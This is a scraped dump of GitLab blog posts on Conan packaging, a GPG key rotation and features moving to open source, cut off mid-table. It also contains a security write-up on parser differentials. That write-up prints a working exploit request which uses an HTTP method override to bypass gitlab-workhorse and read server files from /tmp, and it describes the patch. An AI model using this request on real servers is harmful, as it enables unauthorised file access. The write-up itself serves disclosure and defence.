GitLab. Store and share packages easily with your teams or publicly.","https://about.gitlab.com/blog/conan-c-cpp-package-management-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Modern C and C++: How Conan integration works in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jordi Mon\"}],\n        \"datePublished\": \"2020-03-31\",\n      }",{"title":24259,"description":24260,"authors":24264,"heroImage":17364,"date":24265,"body":24266,"category":734,"tags":24267},[21960],"2020-03-31","\n\nAs a single application for all the software development and delivery lifecycle, GitLab strives to support all the different software workflows and pipelines. Regardless of how complex this cycle might be (I’m looking at you C++), what we want to do is soothe these pains for C and C++ GitLab users. Following up on this metaphor, as doctors we would like to listen to the patient first: It all started with our community explaining their symptoms and chipping in the first ideas [here](https://gitlab.com/gitlab-org/gitlab-foss/issues/54747). This became even more relevant for GitLab when clients in C++ reliant industries like finance, robotics or embedded software added their interest to supporting package management for C++.\n\n### Conan is now available on GitLab\n\nThe C and C++ ecosystems have a ton of legacy tooling. It is what it is: they’ve been around for a long time and the community is, in a way, very DIY-driven. For example, many C++ libraries are advertised as “Zero deps inside.” This badge is intended as a sign of quality, and is even a bit of a status symbol for the devs and maintainers. That's fine for C/C++ developer but what about the users of such libs? Regardless of the actual quality of the lib’s code, if you wanted to use any of them, you’d better have a local, updated copy of them in a Git submodule. This is especially relevant for head-only monsters like Boost, the most popular set of libs in C++. In other words, in order to make use of them (that’s why they were created in the first place, I guess), you basically have to download the [source code](/solutions/source-code-management/), build it yourself (good luck with that), compile it and include the resulting binary in your project. This process can be time consuming and, if build processes are not well documented or supported, it can be exasperating. All of this can become a real nightmare if transitive dependencies are present, or if different [version control systems](/topics/version-control/) have been used. It's also tricky when deciding upon static or dynamic binaries, static or dynamic linking, single or multi-threaded, 32-bit or 64-bit…\n\n### How to build C and C++ packages in GitLab the Conan way\n\nThe GitLab Conan integration allows Conan users to set GitLab as the remote registry for their packages. Users will be able to set the remote and upload and install packages from GitLab’s registry. Think of it this way: you still use the same CLI to work with your Conan packages, but GitLab is on the receiving end. In doing so, GitLab creates the unique opportunity to have the code and package generated from the code living in the same place, freeing users from having to manage multiple services to store packages and code separately and still have them working together. This allows users to share private packages within an organization that is already using GitLab, publish public packages for general or open source use, and will open up many possibilities in utilizing GitLab’s CI pipelines to build and consume these packages automatically.\n\nCheck out a full demo:\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/2VVmrKNpC_0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n or a speedrun of Conan performed by the team in charge of the integration:\n\n \u003C!-- blank line -->\n \u003Cfigure class=\"video_container\">\n   \u003Ciframe src=\"https://www.youtube.com/embed/7NYgJWg-w5w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n \u003C/figure>\n \u003C!-- blank line -->\n\nIf you need more help you can always refer to the [Conan docs](https://docs.conan.io/en/latest/).\n\n### The future of C and C++ in GitLab: Game development workflows!\n\nWhat’s coming next? In tradition with GitLab’s value of iteration, the initial release of Conan is a bare-bones API that allows you to publish and consume packages within GitLab. Next up will be a UI that displays much of the commonly referenced metadata for a given package, pre-written CI templates for automatic package publishing and consuming, less strict package naming conventions with remotes scoped to the group and project level within GitLab, and the list goes on.\n\n* [Conan Repository User Interface](https://gitlab.com/gitlab-org/gitlab/issues/33892)\n* [Project and Group level support for Conan Repository](https://gitlab.com/gitlab-org/gitlab/issues/11679)\n\nIf you are interested in package management at large, find a list of publicly available issues about the topic [here](https://gitlab.com/gitlab-org/gitlab/issues?label_name=Package+Repositories). Also, please note that if game development is your interest, large file support, partial clone and many other features that make game development possible with Git, will soon be available in GitLab. All the heavy lifting required for those massive binaries, engines, and animations will feel like feathers when we release those features. Stay tuned to know more about it in our newsletter.\n\n",[754,232,815,1444],{"slug":24269,"featured":6,"template":678},"conan-c-cpp-package-management-integration","content:en-us:blog:conan-c-cpp-package-management-integration.yml","Conan C Cpp Package Management Integration","en-us/blog/conan-c-cpp-package-management-integration.yml","en-us/blog/conan-c-cpp-package-management-integration",{"_path":24275,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24276,"content":24281,"config":24287,"_id":24289,"_type":16,"title":24290,"_source":17,"_file":24291,"_stem":24292,"_extension":20},"/en-us/blog/gpg-key-for-gitlab-package-repositories-metadata-changing",{"title":24277,"description":24278,"ogTitle":24277,"ogDescription":24278,"noIndex":6,"ogImage":17364,"ogUrl":24279,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24279,"schema":24280},"The GPG key used to sign GitLab package repositories' metadata is changing","The GPG key used to sign repository metadata on GitLab's Packagecloud instance at packages.gitlab.com is changing – find out what this means for you.","https://about.gitlab.com/blog/gpg-key-for-gitlab-package-repositories-metadata-changing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The GPG key used to sign GitLab package repositories' metadata is changing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Balasankar 'Balu' C\"}],\n        \"datePublished\": \"2020-03-30\",\n      }",{"title":24277,"description":24278,"authors":24282,"heroImage":17364,"date":24284,"body":24285,"category":736,"tags":24286},[24283],"Balasankar 'Balu' C","2020-03-30","\n\nGitLab uses a [Packagecloud instance](https://packages.gitlab.com) to\ndistribute official [omnibus-gitlab](https://gitlab.com/gitlab-org/omnibus-gitlab.git)\nand [gitlab-runner](https://gitlab.com/gitlab-org/gitlab-runner.git) packages.\nTo ensure integrity of packages shipped through this instance, the metadata of\nthe various apt and yum repositories managed in this instance are signed using\na GPG key, in addition to the packages themselves being signed by a separate key.\n\nThe current key used for the metadata signing, with the fingerprint `1A4C 919D B987 D435 9396 38B9 1421 9A96 E15E 78F`,\nis set to expire on Apr. 15, 2020. So, GitLab is rotating this GPG key in\nfavor of a newer one which will be active for another two years. The GPG\nfingerprint of this new key is `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`.\nPlease check the [official documentation](https://docs.gitlab.com/omnibus/update/package_signatures#package-repository-metadata-signing-keys) for\nmore details on the key.\n\n## When will it be changed?\n\nThe key will be changed on **Apr. 6, 2020**.\n\n## What does this mean for existing users?\n\nAny existing users who have already configured these repositories in their\nmachines (using any method that uses packages.gitlab.com like the `curl` script mentioned in the [GitLab installation page](/install/)\nor [gitlab-runner installation docs](https://docs.gitlab.com/runner/install/linux-repository.html))\nwill be affected and will be unable to fetch packages from these repositories\nafter the key is changed until they install the new public key. This is because once the GPG key is changed, the\nmetadata will be signed with the new key, and because the user doesn't have the\ncorresponding public key, `apt`/`yum` will fail to verify the integrity of\nthese repositories and will not fetch packages from them.\n\n## What does this mean for new users?\n\nFor users who are configuring the repositories for the first time, the `curl` script to install\nrepositories will automatically fetch the new key – so new users who are\nconfiguring repositories for the first time after the switch are unaffected\nand do not need to do anything beyond following official installation docs.\n\n## What should I do?\n\nIf you have already configured GitLab repositories on your machine\nbefore Apr. 6, 2020, please check out the official documentation on\n[how to fetch and add the new key](https://docs.gitlab.com/omnibus/update/package_signatures#package-repository-metadata-signing-keys)\nto your machine. \n\nIf you are a new user, there is nothing specific for you to do\nother than follow the [GitLab installation page](https://about.gitlab.com/install/)\nor the [gitlab-runner installation docs](https://docs.gitlab.com/runner/install/linux-repository.html).\n\n## I still have problems, what do I do?\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/issues).\n",[232],{"slug":24288,"featured":6,"template":678},"gpg-key-for-gitlab-package-repositories-metadata-changing","content:en-us:blog:gpg-key-for-gitlab-package-repositories-metadata-changing.yml","Gpg Key For Gitlab Package Repositories Metadata Changing","en-us/blog/gpg-key-for-gitlab-package-repositories-metadata-changing.yml","en-us/blog/gpg-key-for-gitlab-package-repositories-metadata-changing",{"_path":24294,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24295,"content":24300,"config":24304,"_id":24306,"_type":16,"title":24307,"_source":17,"_file":24308,"_stem":24309,"_extension":20},"/en-us/blog/how-to-exploit-parser-differentials",{"title":24296,"description":24297,"ogTitle":24296,"ogDescription":24297,"noIndex":6,"ogImage":11237,"ogUrl":24298,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24298,"schema":24299},"How to exploit parser differentials","Your guide to abusing 'language barriers' between web components.","https://about.gitlab.com/blog/how-to-exploit-parser-differentials","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to exploit parser differentials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-03-30\",\n      }",{"title":24296,"description":24297,"authors":24301,"heroImage":11237,"date":24284,"body":24302,"category":674,"tags":24303},[11242],"\n\nThe move to microservices-based architecture creates more attack surface for nefarious actors, so when our [security researchers](/handbook/security/#security-research) discovered a file upload vulnerability within GitLab, we patched it right up in our [GitLab 12.7.4 security release](/releases/2020/01/30/security-release-gitlab-12-7-4-released/). We dive deeper into the problems that lead to this vulnerability and use it to illustrate the underlying concept of parser differentials.\n\n## File Uploads in GitLab\n\nTo understand the file upload vulnerability we need to go a bit deeper into file uploads within GitLab, and have a look at the involved components.\n\n### GitLab Workhorse\n\nThe first relevant component is GitLab's very own reverse proxy called [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse/).`gitlab-workhorse` fulfills a variety of tasks, but for this specific example we only care about certain kinds of file uploads.\n\nThe second component is [`gitlab-rails`](https://gitlab.com/gitlab-org/gitlab), the Ruby on Rails-based heart of GitLab. It's the main application part of GitLab and implements most of the business logic.\n\nThe following source code excerpts from `gitlab-workhorse` are based on the [`8.18.0`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/tags/v8.18.0) release which was the most recent version at the time of identifying the vulnerability.\n\nConsider the following route, defined in [`internal/upstream/routes.go`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/upstream/routes.go#L207-208), which handles file uploads for [Conan](https://conan.io/) packages:\n\n```go\n// Conan Artifact Repository\nroute(\"PUT\", apiPattern+`v4/packages/conan/`, filestore.BodyUploader(api, proxy, nil)),\n```\n\nThe route defined above will pass any `PUT` request to paths underneath `/api/v4/packages/conan/` to the [`BodyUploader`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/filestore/body_uploader.go#L40-79). Within this `BodyUploader` now some magic happens. Well, actually, it's not magic, the `BodyUploader` receives the uploaded file and lets the `gitlab-rails` backend know where the file has been placed. This happens in [`internal/filestore/file_handler.go`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/blob/9a9a83e7f92ceea5fb0e1542d604171c58615e28/internal/filestore/file_handler.go#L52-81).\n\nAlso worth mentioning: Any not-matched routes in `gitlab-workhorse` will be passed on to the backend without modification. That's especially important in our discussion for non-`PUT` routes under `/api/v4/packages/conan/`.\n\n```go\n// GitLabFinalizeFields returns a map with all the fields GitLab Rails needs in order to finalize the upload.\nfunc (fh *FileHandler) GitLabFinalizeFields(prefix string) map[string]string {\n\tdata := make(map[string]string)\n\tkey := func(field string) string {\n\t\tif prefix == \"\" {\n\t\t\treturn field\n\t\t}\n\n\t\treturn fmt.Sprintf(\"%s.%s\", prefix, field)\n\t}\n  \n\tif fh.Name != \"\" {\n\t\tdata[key(\"name\")] = fh.Name\n\t}\n\tif fh.LocalPath != \"\" {\n\t\tdata[key(\"path\")] = fh.LocalPath\n\t}\n\tif fh.RemoteURL != \"\" {\n\t\tdata[key(\"remote_url\")] = fh.RemoteURL\n\t}\n\tif fh.RemoteID != \"\" {\n\t\tdata[key(\"remote_id\")] = fh.RemoteID\n\t}\n\tdata[key(\"size\")] = strconv.FormatInt(fh.Size, 10)\n\tfor hashName, hash := range fh.hashes {\n\t\tdata[key(hashName)] = hash\n\t}\n  \n\treturn data\n}\n```\n\nSo `gitlab-workhorse` will replace the uploaded file name by the path to where it has stored the file on disk, such that the `gitlab-rails` backend knows where to pick it up.\n\nObserve the following original request, as received by `gitlab-workhorse`:\n\n```\nPUT /api/v4/packages/conan/v1/files/Hello/0.1/root+xxxxx/beta/0/export/conanfile.py HTTP/1.1\nHost: localhost\nUser-Agent: Conan/1.22.0 (Python 3.8.1) python-requests/2.22.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-Checksum-Sha1: 93ebaf6e85e8edde99c1ed46eaa1b5e1e5f4ac78\nContent-Length: 1765\nAuthorization: Bearer [.. shortened ..]\n\nfrom conans import ConanFile, CMake, tools\n\n\nclass HelloConan(ConanFile):\n    name = \"Hello\"\n[.. shortened ..]\n```\n\nThis is what this request will look like to `gitlab-rails` after `gitlab-workhorse` has processed it (excerpted from `api_json.log`):\n\n```json\n{\n  \"time\": \"2020-02-20T14:49:44.738Z\",\n  \"severity\": \"INFO\",\n  \"duration\": 201.93,\n  \"db\": 67.34,\n  \"view\": 134.59,\n  \"status\": 200,\n  \"method\": \"PUT\",\n  \"path\": \"/api/v4/packages/conan/v1/files/Hello/0.1/root+xxxxx/beta/0/export/conanfile.py\",\n  \"params\": [\n    {\n      \"key\": \"file.md5\",\n      \"value\": \"719f0319f1fd5f6fcbc2433cc0008817\"\n    },\n    {\n      \"key\": \"file.path\",\n      \"value\": \"/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/582573467\"\n    },\n    {\n      \"key\": \"file.sha1\",\n      \"value\": \"93ebaf6e85e8edde99c1ed46eaa1b5e1e5f4ac78\"\n    },\n    {\n      \"key\": \"file.sha256\",\n      \"value\": \"f7059b223cd4d32002e5e34ab1ae5b4ea12f3bd0326589b00d5e910ce02c1f3a\"\n    },\n    {\n      \"key\": \"file.sha512\",\n      \"value\": \"efbe75ea58bd817d42fd9ca5ac556abd6fbe3236f66dfad81d508b5860252d32d1b1868ee03c7f4c6174a0ba6cc920a574b5865ca509f36c451113c9108f9a36\"\n    },\n    {\n      \"key\": \"file.size\",\n      \"value\": \"1765\"\n    }\n  ],\n  \"host\": \"localhost\",\n  \"remote_ip\": \"172.17.0.1, 127.0.0.1\",\n  \"ua\": \"Conan/1.22.0 (Python 3.8.1) python-requests/2.22.0\",\n  \"route\": \"/api/:version/packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name\",\n  \"user_id\": 1,\n  \"username\": \"root\",\n  \"queue_duration\": 16.59,\n  \"correlation_id\": \"aSEqrgEfvX9\"\n}\n```\n\nIn particular, the `params` entry `file.path` is of interest, as it denotes the file system path where `gitlab-workhorse` has placed the uploaded file.\n\n### `gitlab-rails`\nThis `gitlab-workhorse`-modified request, as `gitlab-rails` will see it, is handled in [`lib/uploaded_file.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/v12.7.4-ee/lib/uploaded_file.rb#L45-66) within the `from_params` method:\n\n```ruby\n01  def self.from_params(params, field, upload_paths)\n02    path = params[\"#{field}.path\"]\n03    remote_id = params[\"#{field}.remote_id\"]\n04    return if path.blank? && remote_id.blank?\n05\n06    file_path = nil\n07    if path\n08      file_path = File.realpath(path)\n09\n10      paths = Array(upload_paths) \u003C\u003C Dir.tmpdir\n11      unless self.allowed_path?(file_path, paths.compact)\n12        raise InvalidPathError, \"insecure path used '#{file_path}'\"\n13      end\n14    end\n15\n16    UploadedFile.new(file_path,\n17      filename: params[\"#{field}.name\"],\n18      content_type: params[\"#{field}.type\"] || 'application/octet-stream',\n19      sha256: params[\"#{field}.sha256\"],\n20      remote_id: remote_id,\n21      size: params[\"#{field}.size\"])\n22  end\n```\nWe can see here the handling of the uploaded file reference. The part in line `10-13` in the snippet above implements a whitelist of a specific set of paths from where a `gitlab-workhorse` uploaded file will be accepted.`Dir.tmpdir` which resolves to the path `/tmp` is added to the whitelist as well. In the subsequent lines a new `UploadedFile` is constructed from the `file.path` and other parameters `gitlab-workhorse` has set.\n\n## `gitlab-workhorse` bypass\n\nSo we've seen the inner workings of both `gitlab-workhorse` and `gitlab-rails` when it comes to file uploads for Conan packages. In recap it would go as follows:\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant workhorse\n    participant Rails\n    User->>workhorse: PUT request to conan registry\n    workhorse->>workhorse: Place uploaded file on disk and re-write PUT request\n    workhorse->>Rails: Pass on modified PUT request\n    Rails->>Rails: Pick up file from disk and store in UploadedFile\n```\n\nFrom an attacker perspective it would be nice to meddle with the modified `PUT` request, especially control over the `file.path` parameter would allow us to grab arbitrary files from `/tmp` and the defined `upload_paths`. But as `gitlab-workhorse` sits right in front of `gitlab-rails` we can't just pass those parameters or otherwise interact directly with `gitlab-rails` without going via `gitlab-workhorse`.\n\nWe can indeed achieve this by leveraging the fact that `gitlab-workhorse` parses the HTTP requests in a different way than `gitlab-rails` does. In particular, we can use [`Rack::MethodOverride`](https://www.rubydoc.info/gems/rack/Rack/MethodOverride) in `gitlab-rails` which is a default middleware in Ruby on Rails applications. The `Rack::MethodOverride` middleware allows us to send a `POST` request and let `gitlab-rails` know **\"well, actually this is a `PUT` request! ¯\\\\\\_(ツ)\\_/¯ \"**. With this little trick we can sneak past the `gitlab-workhorse` route which would intercept the `PUT` request, as `gitlab-workhorse` is not aware of the overridden `POST` method. So by specifying either a `_method=PUT` parameter or a `X-HTTP-METHOD-OVERRIDE: PUT` HTTP header we can indeed directly point `gitlab-rails` to files on disk. The method override is used a lot in Ruby on Rails applications to allow simple `\u003Cform>` based `POST` requests to use other [`REST`](https://de.wikipedia.org/wiki/Representational_State_Transfer)-based methods like `PUT` and `DELETE` by overriding the `\u003Cform>`s `POST` request with the `_method` parameter.\n\nSo a `POST` request to the right Conan endpoint with a `file.path` and `file.size` parameter will do the trick.\nA full request using this bypass would look like this:\n\n```\nPOST /api/v4/packages/conan/v1/files/Hello/0.1/lol+wat/beta/0/export/conanmanifest.txt?file.size=4&file.path=/tmp/test1234 HTTP/1.1\nHost: localhost\nUser-Agent: Conan/1.21.0 (Python 3.8.1) python-requests/2.22.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-HTTP-Method-Override: PUT\nX-Checksum-Deploy: true\nX-Checksum-Sha1: ee96149f7b93af931d4548e9562484bdb6ac8fda\nContent-Length: 4\nAuthorization: Bearer [.. shortened ..]\n\nasdf\n```\n\nThis would, instead of uploading a file, let us get a hold of the file `/tmp/test1234` from the GitLab server's file system. In recap, the flow to exploit this issue looks as follows:\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant workhorse\n    participant Rails\n    User->>workhorse: POST request to conan registry\n    workhorse->>workhorse: Route does not match anything\n    workhorse->>Rails: Pass on unmodified POST request\n    Rails->>Rails: Interpret as PUT and pick up file from disk\n```\n\nWe fixed this issue within `gitlab-workhorse` by [signing Requests which pass `gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/commit/3a34323b104be89e92db49828268f0bfd831e75a), the signature then is verified on [the `gitlab-rails` side](https://gitlab.com/gitlab-org/gitlab/-/commit/043c664908e474f34e62e88365be0fc945f1d0b3)\n\n## How parser differentials can introduce vulnerabilities\n\nLet's take a huge step back and see from an high-level perspective what just happened. We've had `gitlab-workhorse` and `gitlab-rails` both looking at a `POST` request. But `gitlab-rails` ultimately saw a `PUT` request due to the overridden HTTP method.\n\nWhat occurred here is a case of a **parser differential**, as `gitlab-workhorse` and `gitlab-rails` parsed the incoming HTTP request differently. The term parser differential originates from the [Language-theoretic Security approach](http://langsec.org). It denotes the fact that two (or more) different parsers \"understand\" the very same message in a different way. Or, as described in the [LangSec handout](http://langsec.org/bof-handout.pdf) as follows:\n\n> Different interpretation of messages or data streams by components breaks any assumptions that components adhere to a shared specification and so introduces inconsistent state and unanticipated computation.\n\nIndeed such issues and the consequential _unanticipated computation_ get more and more common when we look at modern web environments. The days of web applications being a stand-alone bunch of scripts invoked on a web server are long gone. The rise of microservices leads to complex environments and the very same message (or HTTP request) might be interpreted by several different services in several different ways. Just as shown in the above example this sometimes comes along with security implications.\n\nFrom the point of view of a pragmatic bug hunter, the idea of parser differentials is very interesting as those issue can yield unique security bugs. Consider, for instance, this [RCE in couchdb](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). Also the [HTTP desync attack technique](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn), which has gotten a lot attention in the bug bounty community, is a matter of parser differentials.\n\nFor the developer perspective we need to be aware of other components and their parsing behavior in order to avoid security issues which arise from interpreting the same message differently.\n\nCover Photo by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[674,2952],{"slug":24305,"featured":6,"template":678},"how-to-exploit-parser-differentials","content:en-us:blog:how-to-exploit-parser-differentials.yml","How To Exploit Parser Differentials","en-us/blog/how-to-exploit-parser-differentials.yml","en-us/blog/how-to-exploit-parser-differentials",{"_path":24311,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24312,"content":24318,"config":24322,"_id":24324,"_type":16,"title":24325,"_source":17,"_file":24326,"_stem":24327,"_extension":20},"/en-us/blog/new-features-to-core",{"title":24313,"description":24314,"ogTitle":24313,"ogDescription":24314,"noIndex":6,"ogImage":24315,"ogUrl":24316,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24316,"schema":24317},"18 GitLab features are moving to open source","We're open sourcing rich functionality across Plan, Create, Verify, Package, Release, Configure, and Protect.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667021/Blog/Hero%20Images/newnature_cropped.png","https://about.gitlab.com/blog/new-features-to-core","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"18 GitLab features are moving to open source\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2020-03-30\",\n      }",{"title":24313,"description":24314,"authors":24319,"heroImage":24315,"date":24284,"body":24320,"category":736,"tags":24321},[3532],"I spent some time reviewing GitLab features and determined that, by our [Buyer-Based Open Core](/company/pricing/#the-likely-type-of-buyer-determines-what-features-go-in-what-tier) model, eighteen features that appear in seven different stages of the [DevOps lifecycle](/topics/devops/) ought to be open source.\n\nWhen we rolled out our Buyer-Based Open Core model in 2018, what we laid out is that features are assigned to each of our four individual tiers based on who the buyer of the feature is.\nFeatures that serve an individual contributor land in Core/Free.\nFeatures for managers land in Starter/Bronze, for directors in Premium/Silver, and executives in Ultimate/Gold.\nAs we explain the reasoning on [our pricing page](/company/pricing/#the-likely-type-of-buyer-determines-what-features-go-in-what-tier),\n> The feature is put in the plan based on what champion is most likely to **care** about it.\n> Buyers make sense, since a higher-cost plan needs a higher-placed buyer.\n\nThis pricing model has served us well, and we've been committed to it.\nBut, somewhere along the way, we failed to do an audit of many existing features.\nThat's what I did last month, and now I'm excited to share that after personally reviewing all features in each of our tiers **we are open sourcing an unprecedented number of GitLab features**.\n\nThis marks a major milestone in our efforts to empower the community to collaborate more robustly and to take our single tool for the DevOps lifecycle to the next level.\nFrom design management to package managers, managing multiple Kubernetes clusters to connecting related issues, we're making it easier than ever for an individual contributor to have everything they need to plan, build, deploy, and secure their application with GitLab.\n\n## It's not enough to talk the talk – we need to walk the walk.\n\nIf we're saying that [our features are based on the buyer](/company/pricing/#four-tiers), then we need to make sure that the right features are in the right place.\nWe've always been committed to our [stewardship](/company/stewardship/#how-open-source-benefits-from-open-core) of GitLab as an open source project.\nBy auditing the tier of features, we can better serve our open source community while more accurately aligning our business model.\nOur commitment to the open source community is why we will always work to [move features down our tiers](/company/pricing/#well-always-move-features-down)\nand [doing so quickly](/company/pricing/#if-a-feature-can-be-moved-down-do-it-quickly) and consistently.\n\n## We hope to unleash the power of everyone’s creativity\n\nOur mission has always been that [everyone can contribute](/company/mission/#mission).\nWith new functionality available to all users, it's easier than ever to contribute - contribute with GitLab, contribute to GitLab the application, or contribute to GitLab the company.\nSee something, submit a Merge Request (MR).\n\nWe recognize that many users in our community have creative ideas on how to make GitLab an even better product.\nBy partnering with the open-source community, we can open-source features even more quickly.\n\n## What's moving?\n\n![devops lifecycle](https://about.gitlab.com/images/blogimages/dev-ops-plan-to-monitor.png){: .medium.center}\n\nFeatures from Plan, Create, Verify, Package, Release, Configure, and Protect are moving.\nThis is *a lot* of features.\nWhile we've outlined all of these features that are ready to be moved to Core/Free, we need your help to move them.\n\nThe work to move the actual code to the open source part of the codebase is defined in issues that are linked from this blog post. These issues will go into the backlog for each of the respective product development teams and will be prioritized against new feature development.\nIf having this functionality in Core/Free is important to you, we invite you to contribute yourself to speed up the process.\nWe're not just giving you permission to help us move this code - we're asking you to help us move it.\n\n#### Synchronize collaboration with [Plan](/pricing/feature-comparison/)\n\n[Issues](https://docs.gitlab.com/ee/user/project/issues/) are the primary way people collaborate on ideas and plan work in GitLab.\nBy open sourcing these new features, we're making it easier than ever to plan your projects.\nWe can't wait to see what you come up with.\n* [Related issues](https://docs.gitlab.com/ee/user/project/issues/related_issues.html#related-issues): Connect related issues together.\n* [Export issues](https://docs.gitlab.com/ee/user/project/issues/csv_export.html): Export issues from GitLab as a CSV and receive the CSV as an attachment to your default notification email.\n* [Issue board focus mode](https://docs.gitlab.com/ee/user/project/issue_board.html#focus-mode): Use this tool to plan, organize, and visualize a workflow for a feature or product release. It can be used as a Kanban or a Scrum board.\n\n[Service desk](https://docs.gitlab.com/ee/user/project/service_desk.html) allows your team to connect directly with any external party through email right inside of GitLab –\nno external tools required.\nWith that, the complexity and inefficiencies of multiple tools are eliminated, significantly shortening the cycle time from feedback to software updates.\nWe would love to hear how you leverage service desk in your workflows now that it's open source.\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Related issues         | [gitlab-org/gitlab#212329](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) |\n| Export issues          | [gitlab-org/gitlab#212330](https://gitlab.com/gitlab-org/gitlab/-/issues/212330) |\n| Issue board focus mode | [gitlab-org/gitlab#212331](https://gitlab.com/gitlab-org/gitlab/-/issues/212331) |\n| Service desk           | [gitlab-org/gitlab#212332](https://gitlab.com/gitlab-org/gitlab/-/issues/212332) |\n\n#### Build better code and branch powerfully with [Create](/pricing/feature-comparison/)\n\nThe machine you're using shouldn't limit how easy it is to develop.\n\nWe're excited to bring down two features for developing in web-first environments.\n* The [Web Terminal for Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/index.html#interactive-web-terminals-for-the-web-ide) makes it faster and easier to contribute changes to projects.\n* [File syncing to web terminal](https://docs.gitlab.com/ee/user/project/web_ide/#file-syncing-to-web-terminal) in the Web IDE helps you test code changes in a preconfigured terminal environment.\n\n[Design management](https://docs.gitlab.com/ee/user/project/issues/design_management.html#design-management) allows you to upload design assets (wireframes, mockups, etc.) to GitLab issues and keep them stored in one single place, accessed by the Design management’s page within an issue, ensuring issues are the single source of truth for everything required to develop a feature.\n\nAll together, these changes to create should make it easier to go from wireframe to MVC in the blink of an eye – independent of what machine you're on – improving project efficiency.\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Web Terminal for Web IDE | [gitlab-org/gitlab#211685](https://gitlab.com/gitlab-org/gitlab/-/issues/211685) |\n| File syncing to the web terminal | [gitlab-org/gitlab#211686](https://gitlab.com/gitlab-org/gitlab/-/issues/211686) |\n| Design Management | [gitlab-org/gitlab#212566](https://gitlab.com/gitlab-org/gitlab/-/issues/212566) |\n\n#### Bring code quality to new heights with [Verify](/pricing/feature-comparison/)\n\n[Code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) reports on MRs will be open source.\nKeeping your project’s code simple, readable, and easy to contribute to is difficult.\nCode quality on MRs makes this easier to do and maintain.\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Code quality | [gitlab-org/gitlab#212499](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) |\n\n#### Build and share packages in [Package](/pricing/feature-comparison/)\n\nWe're delivering a set of package managers so all your packages can stay in one place:\n* [Conan (C/C++) repository](https://docs.gitlab.com/ee/user/packages/conan_repository/)\n* [Maven (Java) repository](https://docs.gitlab.com/ee/user/packages/maven_repository/index.html)\n* [NPM (node) registry](https://docs.gitlab.com/ee/user/packages/npm_registry/index.html)\n* [NuGet (.NET) repository](https://docs.gitlab.com/ee/user/packages/nuget_repository/)\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Package Managers | [gitlab-org&2867](https://gitlab.com/groups/gitlab-org/-/epics/2867) |\n\n#### Continuous delivery is simpler with [Release](/pricing/feature-comparison/)\n\nWith **four** incredible [Release](/pricing/feature-comparison/) features moving to Core/Free, you can be so confident in your releases that you deploy on Fridays (YMMV).\n\n* [Canary deployments](https://docs.gitlab.com/ee/user/project/canary_deployments.html) roll out the new version of your application to a small portion of your fleet.\n* [Incremental rollout](https://docs.gitlab.com/ee/topics/autodevops/index.html#incremental-rollout-to-production) allows you to first check how the new version of your application is behaving before increasing the rollout to 100%.\n* [Feature flags](https://docs.gitlab.com/ee/operations/feature_flags.html) allow you to ship a project in different flavors by dynamically toggling certain functionality.\n* [Deploy boards](https://docs.gitlab.com/ee/user/project/deploy_boards.html) offer a consolidated view of the current health and status of each CI environment running on Kubernetes. You can see the progress and status of a rollout, pod by pod, within your existing workflows without having to access Kubernetes.\n\n| Feature to move        | GitLab Issue |\n|------------------------|--------------|\n| Canary deployments     | [gitlab-org/gitlab#212319](https://gitlab.com/gitlab-org/gitlab/-/issues/212319) |\n| Incremental rollout    | 